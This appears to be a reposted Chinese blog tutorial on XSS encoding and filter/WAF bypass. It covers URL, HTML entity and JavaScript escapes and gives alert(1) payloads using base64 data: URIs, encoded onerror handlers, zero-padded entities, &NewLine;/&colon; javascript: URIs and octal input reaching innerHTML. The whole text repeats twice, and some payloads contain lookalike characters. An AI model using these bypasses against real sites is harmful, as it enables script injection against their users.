xss编码问题及绕过

常用的编码
URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如“/”的URL编码为%2F

#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;

HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“&lt;”
HTML实体编码(10进制与16进制)
例如“<” html十进制:&#60; html十六进制:&#x3c;

JavaScript编码: js提供了四种字符编码的策略

  1. 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
  2. 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
  3. 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
  4. 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

各个编码的具体利用场景
(1) base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 遇到使用base64编码的情况 大多数是这样

  • <a href=“可控点”>
  • <iframe src=“可控点”>

在这种情况下 如果过滤了<> ’ " javascript 的话 那么要xss可以这样写 然后利用base64编码!

将<img src=
x οnerrοr=alert(1)>整条base64编码为:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

Data协议使用方法 data:资源类型;编码类型,内容

<script>alert(1)</script>
(<img src=1 οnerrοr=alert(1)> a标签,object,iframe不支持)
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
(chrome不支持)
<iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
(chrome,firefox支持)

<a>标签的利用方式

<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>

这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点
击a链接时 base64的编码就被解码还原成我们原本的

<script>alert(1)</script>然后成功弹窗!

各个编码的具体利用场景

(2) HTML实体编码(十进制和十六进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的.

如<img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074(1)”>这种可以弹窗。
\img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074`1`”>

onerror支持:html10,html16,jsunicode,不支持js8进制和js16进制

HTML十进制和十六进制编码的分号是可以去掉的。
实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行:

<img src=1
οnerrοr=
“&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;”>

HTML5 新增的实体命名编码,如
&colon; => [冒号] &NewLine; => [换行]

如<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>
<a href=”javascript:alert(1)”>tan</a>

解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>

首先html编码被还原出来 然后就成了换行 跟冒号
<a href=“javascript:alert(1)”>click</a>

为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href=“javascript:alert(1)”>click</a> 代码成功执行

各个编码的具体利用场景

(3) Javascript编码
Javascript伪协议在属性值中都可以使用,
如<a href=“javascript:alert(‘xss’)”>111</a>点击111后触发弹窗。javascript中只识别几种编码:Jsunicode js8进制 js16进制

第一种情况 :
你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:

eval()、setTimeout()、setInterval()
以上都是会将字符串当做js代码执行的函数!

第二种情况:

var search = “可控点”;
document.getElementById().innerHTML=search;

以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ’ " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成<img src=x
οnerrοr=alert(1)>然后进行js八进制编码 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服务器端接受后 经过过滤器 没有发现可以过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!

(4) URL编码
Javascript:伪协议后面可以使用URL编码。
如:<a href=“javascript:%61lert(1)”>click me</a>可成功执行弹窗
可用img就不行:<img src=x
οnerrοr=”javascript:%61lert(1)”>

因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href=“javascript:%61lert(1)”>click me</a>

常用的编码
URL编码: 一个百分号和该字符的ASCII编码所对应的2位十六进制数字。
例如“/”的URL编码为%2F

#:%23;
. :%2e;
+ :%2b;
< :%3c;
>: %3e;
!:%21;
空格:%20;
&: %26;
(:%28;
): %29;
”:%22;
’ :%27;

HTML实体编码: 以&开头,分号结尾的。 例如“<”的编码是“&lt;”
HTML实体编码(10进制与16进制)
例如“<” html十进制:&#60; html十六进制:&#x3c;

JavaScript编码: js提供了四种字符编码的策略

  1. 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
  2. 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
  3. 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”
  4. 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

各个编码的具体利用场景
(1) base64编码
Data协议使用方法 data:资源类型;编码,内容
到目前为止 遇到使用base64编码的情况 大多数是这样

  • <a href=“可控点”>
  • <iframe src=“可控点”>

在这种情况下 如果过滤了<> ’ " javascript 的话 那么要xss可以这样写 然后利用base64编码!

将<img src=
x οnerrοr=alert(1)>整条base64编码为:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

Data协议使用方法 data:资源类型;编码类型,内容

<script>alert(1)</script>
(<img src=1 οnerrοr=alert(1)> a标签,object,iframe不支持)
<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>111</a>
<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
(chrome不支持)
<iframe src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></iframe>
(chrome,firefox支持)

<a>标签的利用方式

<a href=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>test</a>

这样当test A链接点击时 就会以data协议 页面以html/text的方式解析 编码为base64 然后单点
击a链接时 base64的编码就被解码还原成我们原本的

<script>alert(1)</script>然后成功弹窗!

各个编码的具体利用场景

(2) HTML实体编码(十进制和十六进制)
浏览器是不会在html标签里解析js中的那些编码的!onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的.

如<img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074(1)”>这种可以弹窗。
\img src=1 οnerrοr=
“\u0061\u006c\u0065\u0072\u0074`1`”>

onerror支持:html10,html16,jsunicode,不支持js8进制和js16进制

HTML十进制和十六进制编码的分号是可以去掉的。
实体编码的数字前可以加上很多的0进行绕过WAF,如
如以下代码可成功执行:

<img src=1
οnerrοr=
“&#0097;&#0108&#000101&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;”>

HTML5 新增的实体命名编码,如
&colon; => [冒号] &NewLine; => [换行]

如<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>
<a href=”javascript:alert(1)”>tan</a>

解析器一般将工作分配给两个组件——词法分析器(有时也叫分词器)负责将输入分解为合法的符号,解析器则根据语言的语法规则分析文档结构,从而构建解析树,词法分析器知道怎么跳过空白和换行之类的无关字符。
<a href=“javasc&NewLine;ript&colon;alert(1)”>click</a>

首先html编码被还原出来 然后就成了换行 跟冒号
<a href=“javascript:alert(1)”>click</a>

为什么换行后还能够执行 是因为浏览器中的解析器中词法分析器 起的作用会跳过空白跟换行之类的无效字符。换行时必须用单双引号围住,否则不会跳过。跳过回车和换行,不支持on事件.
然后就构造成了一个完整的语句
<a href=“javascript:alert(1)”>click</a> 代码成功执行

各个编码的具体利用场景

(3) Javascript编码
Javascript伪协议在属性值中都可以使用,
如<a href=“javascript:alert(‘xss’)”>111</a>点击111后触发弹窗。javascript中只识别几种编码:Jsunicode js8进制 js16进制

第一种情况 :
你输入的值存入某个变量 然后最后出现在某个能把字符串当做js代码来执行的函数里!如:

eval()、setTimeout()、setInterval()
以上都是会将字符串当做js代码执行的函数!

第二种情况:

var search = “可控点”;
document.getElementById().innerHTML=search;

以上情况很多都是出现在你搜索后 然后显示的 你所查询的关键字
如果过滤了 <> ’ " & % 等等这些!然后再输出到页面上!
按理说这样是安全了!但是我们把输入的值改成 js编码,
如 我们改成<img src=x
οnerrοr=alert(1)>然后进行js八进制编码 ==>\74\151\155\147\40\163\162\143\75\170\40\157\156\145\162\162\157\162\75\141\154\145\162\164\50\61\51\76然后服务器端接受后 经过过滤器 没有发现可以过滤的就进入到了innerHTML中
经过js的解码 我们的代码又还原回来了 并且注入到了网页中!这时候代码执行!成功弹窗!

(4) URL编码
Javascript:伪协议后面可以使用URL编码。
如:<a href=“javascript:%61lert(1)”>click me</a>可成功执行弹窗
可用img就不行:<img src=x
οnerrοr=”javascript:%61lert(1)”>

因为href属性会跳转到其中的URL,而会进行URL解码.onerror属性则只会执行JS,不跳转
同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href=“javascript:%61lert(1)”>click me</a>

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/114729725